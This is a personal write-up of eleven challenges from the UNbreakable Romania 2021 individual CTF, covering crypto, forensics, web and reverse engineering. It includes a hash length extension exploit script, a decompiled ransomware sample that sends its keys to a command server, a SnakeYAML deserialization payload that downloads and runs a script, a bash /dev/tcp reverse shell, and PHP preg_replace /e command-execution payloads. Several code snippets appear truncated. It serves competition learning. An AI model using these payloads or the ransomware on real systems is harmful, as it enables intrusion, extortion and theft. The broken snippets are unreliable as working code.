Antonio Macovei

UNbreakable Individual CTF 2021 - Write Up

May 21st, 2021 at 15:00 Antonio Macovei CTF

Last weekend (14 - 16 May 2021) was the individual competition from UNbreakable Romania, spring-summer 2021 edition, the national InfoSec CTF for high-school and university students. In the 48 hours competition I managed to rank 5th out of over 850 registered participants, with 4030 points from 16 challenges solved out of 18.

This competition had some really interesting challenges, involving ransomware reverse engineering, logs and memory dump analysis and crypto attacks.

Table of contents:

1. secure-terminal (420p)

  • Category: Misc
  • Difficulty: Easy
  • Author: yakuhito

My company wanted to buy Secure Terminal PRO, but their payment system seems down. I have to use the PRO version tomorrow - can you please find a way to read flag.txt?

Format flag: CTF{sha256}

This was a pretty difficult but interesting challenge. A service is running on a remote host providing a command execution system. On connecting, I was prompted the following message and instructions:

└─$ nc 31050
#     # ######  ####  #    # #####  ######
#       #      #    # #    # #    # #
 #####  #####  #      #    # #    # #####
      # #      #      #    # #####  #
#     # #      #    # #    # #   #  #
 #####  ######  ####   ####  #    # ######
               #    ###### #####  #    # # #    #   ##   #
               #    #      #    # ##  ## # ##   #  #  #  #
               #    #####  #    # # ## # # # #  # #    # #
               #    #      #####  #    # # #  # # ###### #
               #    #      #   #  #    # # #   ## #    # #
               #    ###### #    # #    # # #    # #    # ######

                                                    FREE VERSION

Choose an action:
0. Exit
1. Provably fair command execution
2. Get a free ticket
3. Execute a ticket
1337. Go PRO
Choice: 1
Provably fair command execution
We do not execute commands before you ask us to.
Our system works based on 'tickets', which contain signed commands.
While the free version can only generate 'whoami' tickets, the pro version can create any ticket.
Each ticket is a JSON object containing two fields: the command that you want to execute and a signature.
The signature is calculated as follows: md5(SECRET + b'$' + base64.b64decode(command)), where SERET is a 64-character random hex string only known by the server.
This means that the PRO version of the software can generate tickets offline.
The PRO version also comes with multiple-commands tickets (the FREE version only executes the last command of your ticket).
The PRO version also has a more advanced anti-multi-command-ticket detection system - the free version just uses ; as a delimiter!
What are you waiting for? The PRO version is just better.

The important part here is the signature of the command and the way it is computed. As it can be seen above, the command is hashed along with a secret and a separator using the MD5 algorithm. A ticket example is also provided for the whoami command:

You can find your ticket below.
{"command": "d2hvYW1p", "signature": "f2c1fe816530a1c295cc927260ac8fba"}

From this I noticed the format to be JSON, and the command is being passed along encoded with base64. Now, in order to identify the vulnerability, I have extensively googled for any problems with MD5 and signatures, and ended up looking for MAC Authentication Attacks (where MAC stands for Message Authentication Code, a.k.a. signature). In this particular case, the only attack that I would be able to perform was Length Extension Attack.

The reason behind the judgement is that I already knew how the signature was formed from the instructions, and prepending a secret to a user controlled string and using a vulnerable algorithm opened the possibility of a Hash Length Extension Attack. There is a very well written article on this attack and the tool I used next on this blog post. But to summarize the problem here, given a hash that is composed of a string with an unknown prefix, an attacker can append to the string and produce a new hash that still has the unknown prefix.

To exploit the vulnerability, I used a tool called hash_extender to fabricate the signature of any arbitrary commands. The synthax is as follows:

└─$ ./hash_extender/hash_extender --data '$whoami' --secret 64 --append ';ls' --signature 'f2c1fe816530a1c295cc927260ac8fba' --format md5 --out-data-format cstr
Type: md5
Secret length: 64
New signature: dfbb56fbf11a9a3d2390c19d3ed2d5d7
New string: \x24whoami\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x02\x00\x00\x00\x00\x00\x00\x3bls

Parameters explained:

  • --data is the original known value to which I am going to append my commands
  • --secret is the length of the SECRET (which I know from the instructions)
  • --append is the command I want to execute
  • --signature is the original signature (MD5)
  • --format specifies the algorithm used
  • --out-data-format specifies the format in which the output should be

For future reference, I have also found another tool that works very similar to this one called HashPump.

For the final exploitation, I created a Python script that accepts a command, generates the signature and the payload and sends them to the remote service:

import os
import sys
import base64
from pwn import *

if len(sys.argv) < 4:
    print("Usage: " + sys.argv[0] + " <ip> <port> <command>")

ip = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]

# Execute length extension
os.system("./hash_extender/hash_extender --data '$whoami' --secret 64 --append ';" + cmd + "' --signature 'f2c1fe816530a1c295cc927260ac8fba' --format md5 --out-data-format raw -q > payload")

# The output was redirected to file because it has to be in binary format
with open('payload', 'rb') as f:
    payload =

# Extract the hash and the command by splitting at the separator $ (dec 36)
delim = bytes(chr(36).encode('utf-8'))
hash = payload.split(delim)[0]
cmd = payload.split(delim)[1]

# Base64 encode the payload command
cmd = base64.b64encode(cmd)
print("Crafted hash: " + str(hash))
print("Encoded command: " + str(cmd))

# Connect to remote and send the payload
c = remote(ip, port)
c.recvuntil('Choice: ')
c.recvuntil('Ticket: ')

ticket = '{"command": "' + str(cmd.decode()) + '", "signature": "' + str(hash.decode()) + '"}'
print("Sending: " + ticket)
c.send(ticket + '\n')

# Receive feedback
result = c.recvuntil('\n\n')
if 'Nope' in str(result):
elif 'Sike' in str(result):
    print("Wrong signature")
└─$ python3 31050 'cat flag.txt'
Crafted hash: b'8a50f5de19ae13faf9ba47b9595276e0'
[+] Opening connection to on port 31050: Done
Sending: {"command": "d2hvYW1pgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgCAAAAAAAAO2NhdCBmbGFnLnR4dA==", "signature": "8a50f5de19ae13faf9ba47b9595276e0"}


2. secure-encryption (360p)

  • Category: Cryptography
  • Difficulty: Easy
  • Author: Betaflash

Decode the encryption and get the flag.

Flag format CTF{sha256}.

The challenge presents a remote service to which I can connect using netcat (nc). On connecting, I am prompted to decrypt a message and send it back. First thing I needed to do was to figure out how to decrypt or decode the message. It looked a little bit familiar, resembling base64, but containing some extra characters that are not part of base64 (such as punctuation marks).

└─$ nc 31050
What is the initial message of the encryption?
 ENC= b'Yjj3MOIAy4OI2fQLvwFyby9CbXF*t6cS%ckWO`y{'

I used a tool from GitHub called basecrack to identify the encoding.

└─$ python3

██████╗  █████╗ ███████╗███████╗ ██████╗██████╗  █████╗  ██████╗██╗  ██╗
██╔══██╗██╔══██╗██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██╔╝
██████╔╝███████║███████╗█████╗  ██║     ██████╔╝███████║██║     █████╔╝
██╔══██╗██╔══██║╚════██║██╔══╝  ██║     ██╔══██╗██╔══██║██║     ██╔═██╗
██████╔╝██║  ██║███████║███████╗╚██████╗██║  ██║██║  ██║╚██████╗██║  ██╗
╚═════╝ ╚═╝  ╚═╝╚══════╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝ v3.0

                python -h [FOR HELP]

[>] Enter Encoded Base: Yjj3MOIAy4OI2fQLvwFyby9CbXF*t6cS%ckWO`y{

[>] Decoding as Base85: ktFEKVKlKUckCsokuRoCgAXZwIKwdzbe

[-] The Encoding Scheme Is Base85

And as it seems, it's actually base85.

Next, because the challenge asks to decode 20 such strings, I created a short Python script to automatically send my answers:

import base64
from pwn import *

c = remote('', 31050)

n = 0
while n < 20:
    c.recvuntil('b\'') # Receive until b'
    cipher = c.recv(40) # Extract the message
    print('Received ' + cipher.decode('utf-8'))
    c.recv(1) # Receive final '
    msg = base64.b85decode(cipher)
    print('Sending ' + msg.decode('utf-8'))
    c.send(msg.decode('utf-8') + '\n')
    n += 1
flag = c.recv()


3. peanutcrypt (380p)

  • Category: Network, Reverse Engineering
  • Difficulty: Medium
  • Author: CrowdStrike

I was hosting a CTF when someone came and stole all my flags?

Can you help me get them back?

Flag format: CTF{sha256}

This was one of the most interesting challenges from the competition. It involves multiple steps to solve it and it seems very realistic. I was given an encrypted file called flag.enc and a network traffic capture. The traffic (opened in Wireshark) contains some interesting HTTP requests to an IP address for the /peanutcrypt resource.

As the content-type is application/octet-stream, which means it's binary, I selected Show Data as Raw and copied the bytes to HxD (a hex editor) in order to reconstruct the original program. As an alternative here, I could have just exported the files with File -> Export Objects -> HTTP and gotten the same result.

Moving on, I used file on the raw binary data to find what was actually there. It turned out to be python 3.8 byte-compiled. So, next step is to decompile this code to see the original one. I found an online decompiler and got the following code, which seems to be a ransomware program:

import random, time, getpass, platform, hashlib, os, socket, sys
from Crypto.Cipher import AES

c2 = ('peanutbotnet.nuts', 31337)
super_secret_encoding_key = '\x04NA\xedc\xabt\x8c\xe5\x11o\x143B\xea\xa2'
lets_not_do_this = True
doge_address = 'DCBk3WqNVfSSMe5kqwCFg7m6QDbjkT5nfR'
uid = 'undefined'

def write_ransom(path):
    ransom_file = open(path + '_ransom.txt', 'w')
    ransom_file.write(f"Your files have been encrypted by PeanutCrypt.\nSend 5000 DogeCoin to {doge_address} along with {uid} to recover your data")

def encrypt_reccursive(path, key, iv):
    for dirpath, dirnames, filenames in os.walk(path):
        for dirname in dirnames:
            write_ransom(dirname + '/')

        for filename in filenames:
            encrypt_file(dirpath + '/' + filename, key, iv)

def encrypt_file(path, key, iv):
    bs = AES.block_size
    cipher =, AES.MODE_CBC, iv)
    in_file = open(path, 'rb')
    out_file = open(path + '.enc', 'wb')
    finished = False
    while not finished:
        chunk = * bs)
        if not len(chunk) == 0:
            if len(chunk) % bs != 0:
                padding_length = bs - len(chunk) % bs or bs
                chunk += str.encode(padding_length * chr(padding_length))
                finished = True


def encode_message(message):
    encoded_message = ''
    for i, char in enumerate(message):
        encoded_message += bytes([ord(char) ^ super_secret_encoding_key[(i % 16)]])
        return encoded_message

def send_status(status):
    message = f"{status} {uid} {getpass.getuser()} {''.join(platform.uname())}"
    encoded_message = encode_message(message)
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_socket.sendto(encoded_message, c2)

def send_key(key, iv):
    message = f"{uid} " + key.hex() + ' ' + iv.hex()
    encoded_message = encode_message(message)
    tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <file/directory>")
        path = sys.argv[1]
        hash = hashlib.sha256()
        uid = hash.hexdigest()
        time.sleep(random.randint(60, 120))
        key = os.urandom(16)
        iv = os.urandom(16)
        if os.path.isfile(path):
            encrypt_file(path, key, iv)
        if os.path.isdir(path):
            lets_not_do_this or encrypt_reccursive(path, key, iv)
    send_key(key, iv)

Here, there are a few interesting pieces of code. First of all, I noticed that the flag is encrypted with AES in CBC mode with a key and IV randomly generated, so I need to find this key and IV in order to decrypt the flag. Moreover, the key and IV are sent using the send_key() function over the internet, to a C2 server called peanutbotnet.nuts on port 31337. However, before doing so, the host UID, the key and the IV are also encoded using a xor cipher inside encode_message() function. For this cipher, fortunately, I know the key, as it is written in clear text inside the code as super_secret_encoding_key variable.

So, the next step is to identify the traffic aimed at port 31337 inside Wireshark. I used the filter tcp.port == 31337 and found some interesting data:

Next, I created a Python script to decode the xored message and obtain the original key and IV:

super_secret_encoding_key = '\x04NA\xedc\xabt\x8c\xe5\x11o\x143B\xea\xa2'

with open('trafic.raw', encoding='ISO-8859-1') as f:
    msg =

s1 = super_secret_encoding_key
s2 = msg

j = 0
result = []
for i in range(16, len(msg) + 16, 16):
    aux = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2[j:i])]
    j += 16
data = ''.join(result)
└─$ python3
6c91ef0753cc7f41d9868ff17c624ab6c3f9765fc6fa51a942a98eeab860a77d 56204c6a395ff830697e5c1c9062d854 a153cdace6813e693e4dc109a01dc9dd

And another Python script to decrypt the flag using AES:

from Crypto.Cipher import AES
import binascii

key = '56204c6a395ff830697e5c1c9062d854'
iv = 'a153cdacb6813e693e4dc109a01dc9dd'

key = binascii.unhexlify(key)
iv = binascii.unhexlify(iv)

cipher =, AES.MODE_CBC, iv)

with open('flag.enc', 'rb') as f:
    msg =

flag = cipher.decrypt(msg)
└─$ python3

Notice here that both the key and IV needed to be decoded from hex first, as they were encoded before xoring in the original script.


4. volatile-secret (280p)

  • Category: Forensics
  • Difficulty: Medium
  • Author: Legacy

I heard you can find my secret only from my volatile memory! Let's see if it is true.

Flag format: CTF{sha256}

This challenge presented a memory dump from a Windows File System. As the name suggests, I opened the file with volatility2, an advanced memory forensics tool. This challenge was pretty interesting, as it contains a multi-step approach to get the flag.

First of all, I need to identify the right profile to use with volatility:

└─$ ./volatility_2.6_lin64_standalone -f ../image.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/c/Users/anton/Desktop/UNBR/volatile-secret/image.raw)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002e4f0a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002e50d00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2021-05-07 15:11:53 UTC+0000
     Image local date and time : 2021-05-07 18:11:53 +0300

Here, Win7SP1x64 should do it just fine. Next, I searched for the last command lines issued on the host with the cmdline option:

└─$ ./volatility_2.6_lin64_standalone -f ../image.raw --profile Win7SP1x64 cmdline
Volatility Foundation Volatility Framework 2.6
notepad.exe pid:   2872
Command line : "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Unbreakable\SuperSecretFile.txt
SearchProtocol pid:   2508
Command line : "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe4_ Global\UsGthrCtrlFltPipeMssGthrPipe4 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
SearchFilterHo pid:   2384
Command line : "C:\Windows\system32\SearchFilterHost.exe" 0 504 508 516 65536 512
KeePass.exe pid:   2192
Command line : "C:\Program Files\KeePass Password Safe 2\KeePass.exe" "C:\Users\Unbreakable\Desktop\Database.kdbx"

Here it can be seen that the user used notepad.exe to write in a file called SuperSecretFile.txt. Besides that, another interesting thing is KeePass.exe, which uses a file called Database.kdbx, which will be useful later. Next, I proceeded to look for these two files with the filescan option:

└─$ ./volatility_2.6_lin64_standalone -f ../image.raw --profile Win7SP1x64 filescan > filescan.txt
Volatility Foundation Volatility Framework 2.6
0x0000000052b0eaf0     16      0 R--r-- \Device\HarddiskVolume1\Users\Unbreakable\Desktop\Database.kdbx
0x000000005434e550     16      0 R--rwd \Device\HarddiskVolume1\Users\Unbreakable\SuperSecretFile.txt

I identified their addresses and used the dumpfiles option to extract them from the memory dump:

└─$ ./volatility_2.6_lin64_standalone -f ../image.raw --profile Win7SP1x64 dumpfiles -Q 0x0000000052b0eaf0 -D files/
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x52b0eaf0   None   \Device\HarddiskVolume1\Users\Unbreakable\Desktop\Database.kdbx
└─$ ./volatility_2.6_lin64_standalone -f ../image.raw --profile Win7SP1x64 dumpfiles -Q 0x000000005434e550 -D files/
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x5434e550   None   \Device\HarddiskVolume1\Users\Unbreakable\SuperSecretFile.txt

Finally, the SuperSecretFile.txt contained some random characters - mqDb*N6*(mAk3W)= - which I later figured to be a password for the Database.kdbx file from KeePass. So, as a final step, I installed KeePass locally on my computer, imported the database file and unlocked the vault with the password from the text file. The flag was added as a note to the only entry.


5. lmay (400p)

  • Category: Web
  • Difficulty: Medium
  • Author: trollzorftw

Parsing user input? That sounds like a good idea. Can you check this one out?

Flag format: ctf{sha256}

This challenge has a simple web service running with an input box. However, it seems like it is not working. When submitting the form, I get redirected to /Servlet and get the following error message:

Due to security reason this feature has been temporarily on hold. We will soon fix the issue!

The servlet keyword and the name of the challenge - lmay - which reversed is yaml - make me remember about a similar challenge I solved from HackTheBox (Opiuchi). The vulnerability exploited here is called YAML injection, and even though the servlet is returning an error message, the payloads get executed, making it a blind YAML injection.

The vulnerability appears because the server running this service is Tomcat, which uses Snake YAML, making it vulnerable to SnakeYaml Deserilization. An interesting article on this can be read here. However, this exploit is slightly different from the one I used on HackTheBox. First of all, instead of uploading a serialized jar on the remote host, I hosted the malicious Java code on my localhost and forced the remote host to make a request for it.

This works because having the right file structure on the malicious host makes the servlet that calls it to execute the code as it would be running locally. So, sum it up, I had the following setup.

Payload used on the web interface:

!!javax.script.ScriptEngineManager [
  !! [[
    !! [""]

Here, I used ngrok to forward my localhost on the internet. Next, I downloaded the malicious Java code from artsploit GitHub and setup the following payload:

public AwesomeScriptEngineFactory() {
	try {
		Runtime r = Runtime.getRuntime();
		Process p = r.exec("curl -o /tmp/");
		r.exec("bash /tmp/");
	} catch (Exception e) {

This code will download and place it in /tmp/, then execute it using bash. The contents of

bash -i >& /dev/tcp/ 0>&1

Here, the IP used was from a VPS server, as I could not create a second connection via ngrok free version in order to forward the port 4444 at the same time as the web server.

Finally, the file structure of the local web server:

└─$ tree .
├── artsploit
│   └──
    └── services
        └── javax.script.ScriptEngineFactory

Here, the presence of META-INF/services/javax.script.ScriptEngineFactory allows the request from the remote servlet to be correctly routed to the AwesomeScriptEngineFactory. Of course that the Java code should also be compiled before running everything together.

└─$ cat META-INF/services/javax.script.ScriptEngineFactory

As the last step, I opened my local port 4444 and waited for a connection to be made, than got the flag with the newly created reverse shell.


6. defuse-the-bomb (80p)

  • Category: Reverse Engineering
  • Difficulty: Medium
  • Author: edmund

You are the last CT alive, you have a defuse kit, and the bomb is planted. You need to hurry, but what?? Those Terrorists made the bomb defusal-proof...they locked it with a password. Find the password before the bomb explodes.

Flag format: CTF{sha256}

This challenge presents a binary ELF64 program which simulates a Counter Strike bomb defusal. The program needs the valid password in order to safely defuse the bomb and retrieve the flag. To do that, I decompiled the program and got the following interesting pieces of code:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
  char v4; // [rsp+0h] [rbp-50h]
  char s[40]; // [rsp+20h] [rbp-30h]
  char *s1; // [rsp+48h] [rbp-8h]

  puts("\x1B[34mSalutare, CT. Introdu codul pentru dezamorsarea bombei: \x1B[00m");
  fgets(s, 30, stdin);
  s[strlen(s) - 1] = 0;
  sub_1375(s, &v4);
  s1 = sub_1195(&v4);
  if ( !strcmp(s1, s2) )
    printf("Ati dezamorsat bomba cu succes.\n\x1B[92m+300$\x1B[00m\nFlag-ul este ctf{sha256(%s)}\n", s);
    puts("Codul este incorect. Bomba a explodat. Iar ai ajuns in silver II.");
  return 0LL;
_BYTE *__fastcall sub_1195(const char *a1)
  size_t v1; // rax
  _BYTE *v3; // [rsp+10h] [rbp-20h]
  int v4; // [rsp+18h] [rbp-18h]
  int i; // [rsp+1Ch] [rbp-14h]

  v1 = strlen(a1);
  v3 = malloc(v1);
  for ( i = 0; i < strlen(a1); ++i )
    if ( a1[i] <= 64 || a1[i] > 90 )
      if ( a1[i] <= 96 || a1[i] > 122 )
        if ( a1[i] <= 47 || a1[i] > 57 )
          v3[i] = a1[i];
          v3[i] = (a1[i] - 35) % 10 + 48;
        v4 = a1[i] + 13;
        if ( v4 > 122 )
          LOBYTE(v4) = a1[i] - 13;
        v3[i] = v4;
      v3[i] = a1[i] + 13;
      if ( v3[i] > 90 )
        v3[i] -= 26;
  return v3;

I also noticed that in the first code snippet, the code generated by sub_1195() is compared to s2, which is a available in the data section and has the following value: 094929R948S0N94039496920794. More than that, the output of sub_1195() can be bruteforced character by character to get the desired output, as it only does specific operations on each character depending on its ASCII code.

For this purpose, I created a C program that encodes one character at a time and a Python script that bruteforces each of these characters to match the encoded password.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void encode(char param[1]) {
	int len;
	char *buffer;
	int aux;
	int i;

	len = strlen(param);
	buffer = malloc(len);
	for ( i = 0; i < strlen(param); ++i ) {
		if ( param[i] <= 64 || param[i] > 90 ) {
			if ( param[i] <= 96 || param[i] > 122 ) {
				if ( param[i] <= 47 || param[i] > 57 )
					buffer[i] = param[i];
					buffer[i] = (param[i] - 35) % 10 + 48;
			else {
				aux = param[i] + 13;
				if ( aux > 122 )
					aux = param[i] - 13;
				buffer[i] = aux;
		else {
		  buffer[i] = param[i] + 13;
		  if ( buffer[i] > 90 )
			buffer[i] -= 26;
	printf("%s", buffer);

int main(int argc, char *argv[]) {
	return 0;
import subprocess

code = '9094929R948S0N94039496920794'
alphabet = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
password = ''

for c in code:
    for l in alphabet:
        out = subprocess.check_output("./code " + l, shell=True)
            if out.decode('utf-8') == c:
                password += l

Finally, the program successfully bruteforced the original password to 6761696E615F7A61706163697461 and sending it to the remote binary I got the flag.


7. login-view (360p)

  • Category: Forensics
  • Difficulty: Hard
  • Author: T3jv1l

Hi everyone, we're under attack. Someone put a ransomware on the infrastructure. We need to look at this journal. Can you see what IP the hacker has? Or who was logged on to the station?

Format flag: CTF{sha256(IP)}

The challenge presents only a binary data file. On running the strings command on the dump file, I get the following output:

└─$ strings dump | head
~~  shutdown
~~  reboot
~~  runlevel
~~  shutdown

As both the name and the output suggest, it looks a like a login log file from Linux (judging by the version - 5.4.0-70-generic). After intensive Google searches for a program that is able to open this dump file, I stumbled upon last (which was not good enough, as it decoded the file, but did not show any IP address), and later utmpdump on this website, which returned the following output:

└─$ utmpdump dump
[7] [06475] [    ] [darius  ] [:0          ] [:0                  ] [        ] [2021-04-07T06:50:32,826020+00:00]
[8] [06475] [    ] [darius  ] [:0          ] [:0                  ] [  ] [2021-04-07T15:16:16,232136+00:00]
[1] [00000] [~~  ] [shutdown] [~           ] [5.4.0-70-generic    ] [        ] [2021-04-07T15:16:21,393459+00:00]

And there it is, the IP I was searching for. The flag was SHA256(


8. universal-studio-boss-exfiltration (190p)

  • Category: Network, Forensics
  • Difficulty: Easy
  • Author: Legacy

I am the Universal Studio Boss and I found this weird file on a USB drive plugged in my office computer. Can you please find out if my secret projects have been exfiltrated?

Flag format: CTF{sha256}

This challenge presented another network traffic capture. Opening it in Wireshark, I noticed that it is USB traffic. Further inspection of this traffic revealed multiple devices that communicated. I went to Statistics -> Conversations -> USB and noticed the following addresses:

Isolating each of them individually, I identified data transmissions from a bluetooth device (AX200 Bluetooth), from an external memory and from a keyboard (Razer):

Next, going through large packages, which supposedly contain useful data, I found a packet with some file system leftovers that had a file. I could not find a way to extract this file straight from the file system dump, but I used binwalk and got it. However, the ZIP archive was password protected, so this is where the keyboard traffic comes into play. Most probably the password was written on the keyboard and I can extract these key presses from the network capture.

For this purpose, I extracted the data fields from the keyboard packets using tshark:

└─$ tshark -r task.pcap -Y '' -T fields -e > keys.txt

Next, I used a Python script to map each encoding to a key, taking into consideration the fact that some letters were pressed using Shift to capitalize them.

usb_codes = {
   0x04:"aA", 0x05:"bB", 0x06:"cC", 0x07:"dD", 0x08:"eE", 0x09:"fF",
   0x0A:"gG", 0x0B:"hH", 0x0C:"iI", 0x0D:"jJ", 0x0E:"kK", 0x0F:"lL",
   0x10:"mM", 0x11:"nN", 0x12:"oO", 0x13:"pP", 0x14:"qQ", 0x15:"rR",
   0x16:"sS", 0x17:"tT", 0x18:"uU", 0x19:"vV", 0x1A:"wW", 0x1B:"xX",
   0x1C:"yY", 0x1D:"zZ", 0x1E:"1!", 0x1F:"2@", 0x20:"3#", 0x21:"4$",
   0x22:"5%", 0x23:"6^", 0x24:"7&", 0x25:"8*", 0x26:"9(", 0x27:"0)",
   0x2C:"  ", 0x2D:"-_", 0x2E:"=+", 0x2F:"[{", 0x30:"]}",  0x32:"#~",
   0x33:";:", 0x34:"'\"",  0x36:",<",  0x37:".>", 0x4f:">", 0x50:"<"
lines = ["","","","",""]

pos = 0
for x in open("keys.txt","r").readlines():
   code = int(x[4:6],16)

   if code == 0:
   # newline or down arrow - move down
   if code == 0x51 or code == 0x28:
       pos += 1
   # up arrow - move up
   if code == 0x52:
       pos -= 1
   # select the character based on the Shift key
   if int(x[1:2],16) == 2:
       lines[pos] += usb_codes[code][1]
       lines[pos] += usb_codes[code][0]

for l in lines:

The script successfuly extracted the password:

└─$ python3

And using this password to unzip the original flag file, I got it.


9. crossed-pill (50p)

  • Category: Misc, Steganography
  • Difficulty: Medium
  • Author: Lucian Ioan Nitescu

You might not see this at first. You should look from one end to another.

Format flag: ctf{sha256}

This challenge was pretty straight-forward. I was given a PNG image. As this was a steganography challenge, I quickly ran strings on the file and discovered some Python code at the bottom. The original code looked like this:

import numpy as np
from PIL import Image
import random
img ='flag.png')
pixels = list(img.getdata())
for value in pixels:
    oi = []
    for oioioi in value:
        # hate me note for the var names ;)
        if oioioi == 255:
            oioioi = random.choice(range(0, 255, 2))
            oioioi = random.choice(range(0, 255, 1))
img ='RGBA', [200,200], 255)
data = img.load()
count = 0
for x in range(img.size[0]):
    for y in range(img.size[1]):
        data[x,y] = (
        count = count + 1'image.png')

The original image was full of random colored pixels, so I tried to understand what did the code do to the image. The interesting part is the if else instruction where a random value is assigned to each component of the RGBA pixel.

if oioioi == 255:
    oioioi = random.choice(range(0, 255, 2))
    oioioi = random.choice(range(0, 255, 1))

If the component was previously black (255), its new value would be a random one from the range of 0 to 255, with a step of 2 (which means only even numbers). Else, the value can be anything, because the step is 1. To reverse this and get a readable image, I changed the code to the following:

if oioioi % 2 == 0:
    oioioi = 255
    oioioi = 0

The image that resulted from this was a QR code, but unfortunately it was not readable yet. To get a more clear picture, I tried to make the entire pixel black if the average of the components was greater than an arbitrary value (80 worked fine here):

for v in value:
	# hate me note for the var names ;)
	if v % 2 == 0:
		v = 255
		v = 0
if sum(pixel[:2]) / 4 > 80:
	pixel[0] = pixel[1] = pixel[2] = 255
	pixel[0] = pixel[1] = pixel[2] = 0

I have also changed the variable names to something more readable and finally got a good-enough QR code:


10. substitute (50p)

  • Category: Web, Code Review
  • Difficulty: Medium
  • Author: T3jv1l

Hi, we need help. Because we have an admin who abuses power we no longer have control over the workstations. We need a group of hackers to help us. Do you think you can replace him?

Format flag: CTF{sha256}

The challenge presents a web page with a PHP code snippet showing the usage of preg_replace function with raw user input.

        $input = "Can you replace Admin??";
        if(isset($_GET["vector"]) && isset($_GET["replace"])){
                $pattern = $_GET["vector"];
                $replacement = $_GET["replace"];
                echo preg_replace($pattern,$replacement,$input);
                echo $input;

This allows me to perform an RCE (Remote Code Execution), because I can control the first parameter of preg_replace. The vulnerability comes from the modifiers. Using /e (which executes the replacement string as a command) instead of /i (which performs case insensitive replace), thus allowing the following payloads to be run:

?vector=/Admin/e&replace=system('ls -al')
?vector=/Admin/e&replace=system('ls -al here_we_dont_have_flag')
?vector=/Admin/e&replace=system('cat here_we_dont_have_flag/flag.txt')

Finally, the output is shown in the response body in plain text.


11. rsa-quiz (60p)

  • Category: Cryptography
  • Difficulty: Medium
  • Author: yakuhito

We were trying to develop an AI-powered teacher, but it started giving quizes to anyone who tries to connect to our server. It seems to classify humans as 'not sentient' and refuses to give us our flag. We really need that flag - can you please help us?

Flag format: CTF{sha256}

The challenge purpose was to ask a series of questions regarding the RSA encryption algorithm. After answering 9 of these questions, it returns the flag.

Because the challenge closed the connection if I didn' answer fast enough, I prepared a Python script with all the answers:

from pwn import *

answers = []
c = remote('', 31050)

# 1. What does the S in RSA stand for?

# 2. If p is 19 and q is 3739, what is the value of n?
p = 19
q = 3739
n = p * q


# 3. That was too simple! If n is 675663679375703 and q is 29523773, what is the value of p?
n = 675663679375703
q = 29523773
p = n // q


# 4. Ok, I'll just give you something harder! n=616571, e=3, plaintext=1337. Gimme the ciphertext:
plaintext = 1337
n = 616571
e = 3
m = pow(plaintext, e, n)


# 5. Maybe the numbers are too small... e = 65537, p = 963760406398143099635821645271, q = 652843489670187712976171493587. Gimme the totient of n:
e = 65537
p = 963760406398143099635821645271
q = 652843489670187712976171493587
phi = (p - 1) * (q - 1)


# 6. Oh, you know some basic math concepts... then give me d (same p, q, e):
d = pow(e, -1, phi)


# 7. You do seem to exhibit some signs of intelligence. Decrypt 572595362828191547472857717126029502965119335350497403975777 using the same values for e, p, and q (input a number):
ciphertext = 572595362828191547472857717126029502965119335350497403975777
n = p * q
plaintext = pow(ciphertext, d, n)


# 8. Hmm.. Please encrypt the number 12345667890987654321 for me (same values for p, q, e):
plaintext = 12345667890987654321
ciphertext = pow(plaintext, e, n)


# 9. It appears that you might be sentient... n = 152929646813683153154787333192209811374534931741180398509668504886770084711528324536881564240152608914496861079378215645834083235871680777390419398324440551788881235875710125519745698893521658131360881276421398904578928914542813247036088610425115558275142389520693568113609349732403288787435837393262598817311, e = 65537, p = 11715663067252462334145907798116932394656022442626274139918684856227467477260502860548284356112191762447814937304839893522375277179695353326622698517979487, ciphertext =  92908075623156504607201038131151080534030070467291869074115564565673791201995576947013121170577615751235315949275320830645597799585395148208661103156568883014693664616195873778936141694426969384158471475412561910909609358186641323174105881281083630450513961668012263710620618509888202996082557289343751590657. Tell me the plaintext (as a number):
n = 152929646813683153154787333192209811374534931741180398509668504886770084711528324536881564240152608914496861079378215645834083235871680777390419398324440551788881235875710125519745698893521658131360881276421398904578928914542813247036088610425115558275142389520693568113609349732403288787435837393262598817311
e = 65537
p = 11715663067252462334145907798116932394656022442626274139918684856227467477260502860548284356112191762447814937304839893522375277179695353326622698517979487
ciphertext = 92908075623156504607201038131151080534030070467291869074115564565673791201995576947013121170577615751235315949275320830645597799585395148208661103156568883014693664616195873778936141694426969384158471475412561910909609358186641323174105881281083630450513961668012263710620618509888202996082557289343751590657
q = n // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
plaintext = pow(ciphertext, d, n)


